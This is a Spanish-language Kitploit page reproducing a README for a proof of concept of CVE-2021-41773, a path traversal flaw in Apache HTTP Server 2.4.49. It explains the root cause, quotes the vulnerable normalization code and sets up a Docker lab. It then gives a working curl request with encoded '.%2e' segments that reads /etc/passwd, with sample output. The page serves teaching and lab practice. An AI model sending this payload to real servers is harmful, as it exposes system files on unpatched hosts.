Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-41773 — PoC y análisis de CVE-2021-41773 | Kitploit
Herramientas/GitHubGitHub/tr3m0x/cve-2021-41773
Análisis de VulnerabilidadesExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubtr3m0x/cve-2021-41773

CVE-2021-41773

PoC y análisis de CVE-2021-41773

Ver Repositorio
6hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-41773 PoC — Path Traversal en Apache HTTP Server

Descripción general

CVE-2021-41773 es una vulnerabilidad de path traversal que afecta a Apache HTTP Server 2.4.49.

La vulnerabilidad permite a un atacante acceder a archivos fuera del directorio previsto bajo configuraciones específicas, particularmente cuando los directorios están expuestos a través de directivas Alias, ScriptAlias u otras directivas similares a Alias.

La vulnerabilidad existe debido a un manejo incorrecto de la normalización y canonicalización de rutas URL. Apache realizaba comprobaciones de seguridad sobre una representación de la ruta que aún podía contener caracteres codificados, lo que permitía a los atacantes evadir la detección de traversal mediante secuencias de puntos codificadas.


Impacto

Un atacante puede crear una URL maliciosa que contenga secuencias de traversal codificadas como:

root@kitploit:~
.%2e

donde:

root@kitploit:~
%2e = .

Por lo tanto:

root@kitploit:~
.%2e

se convierte en:

root@kitploit:~
..
Descargar herramienta

después de la decodificación.

Si Apache valida la representación codificada antes de resolverla a su forma canónica, la comprobación de traversal puede ser evadida.

Una explotación exitosa puede permitir a un atacante leer archivos arbitrarios del sistema de archivos.

Ejemplo de objetivo:

root@kitploit:~
/etc/passwd

Código vulnerable

La lógica vulnerable se encuentra en:

root@kitploit:~
server/util.c

dentro de:

root@kitploit:~
ap_normalize_path()

Código vulnerable de Apache 2.4.49:

root@kitploit:~
if (path[l] == '.') {
    /* Remove /./ segments */
    if (IS_SLASH_OR_NUL(path[l + 1])) {
        l++;
        if (path[l]) {
            l++;
        }
        continue;
    }

    /* Remove /xx/../ segments */
    if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
        /* Wind w back to remove the previous segment */
        if (w > 1) {
            do {
                w--;
            } while (w && !IS_SLASH(path[w - 1]));
        }
        else {
            /* Already at root, ignore and return a failure
             * if asked to.
             */
            if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                ret = 0;
            }
        }

        /* Move l forward to the next segment */
        l += 2;
        if (path[l]) {
            l++;
        }
        continue;
    }
}

Análisis de la causa raíz

El código vulnerable intenta identificar patrones de traversal de directorios:

root@kitploit:~
../

comprobando si hay puntos consecutivos:

root@kitploit:~
path[l + 1] == '.'

Sin embargo, un atacante puede proporcionar una secuencia de traversal codificada:

root@kitploit:~
/.%2e/

En el momento de la comprobación de normalización, Apache procesa:

root@kitploit:~
.%2e

en lugar de:

root@kitploit:~
..

Debido a que:

root@kitploit:~
%2e != .

la lógica de detección de traversal no reconoce la secuencia como:

root@kitploit:~
../

La ruta se interpreta entonces en su forma decodificada, lo que permite que se produzca el traversal.


Flujo de procesamiento vulnerable

El comportamiento vulnerable se puede representar como:

root@kitploit:~
HTTP Request

      |
      v

Path normalization / traversal validation

      |
      v

URL decoding / canonicalization

      |
      v

Filesystem access

La decisión de seguridad se toma antes de que la ruta alcance su representación canónica final.

Un enfoque más seguro es:

root@kitploit:~
HTTP Request

      |
      v

URL decoding

      |
      v

Path normalization

      |
      v

Traversal validation

      |
      v

Filesystem access

Las comprobaciones de seguridad siempre deben realizarse sobre la representación normalizada final.


Configuración del laboratorio

Clonar el repositorio

root@kitploit:~
git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773

Construir la imagen Docker vulnerable

root@kitploit:~
docker build -t apache-cve-2021-41773 .

Iniciar el servidor Apache vulnerable

root@kitploit:~
docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773

Explotación

Envíe una solicitud que contenga una secuencia de traversal codificada:

root@kitploit:~
curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

Una explotación exitosa devuelve el contenido de:

root@kitploit:~
/etc/passwd

Ejemplo:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash

Nota sobre las respuestas HTTP 403

Una respuesta 403 Forbidden no significa necesariamente que la explotación haya fallado.

Durante las pruebas, Apache puede normalizar correctamente:

root@kitploit:~
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd

en:

root@kitploit:~
/etc/passwd

pero denegar el acceso debido a los permisos del sistema de archivos o a las reglas de autorización de Apache.

Ejemplo:

root@kitploit:~
client denied by server configuration: /etc/passwd

Esto indica que el traversal se produjo correctamente, pero el control de acceso impidió la divulgación del archivo.


Conclusión clave

CVE-2021-41773 es un ejemplo clásico de una vulnerabilidad de canonicalización.

La entrada controlada por el usuario puede tener múltiples representaciones:

root@kitploit:~
.%2e

y:

root@kitploit:~
..

Aunque parecen diferentes, representan el mismo componente de ruta.

Las comprobaciones de seguridad siempre deben realizarse después de la decodificación y la normalización. Validar una representación codificada o ambigua puede dar lugar a la evasión de la seguridad.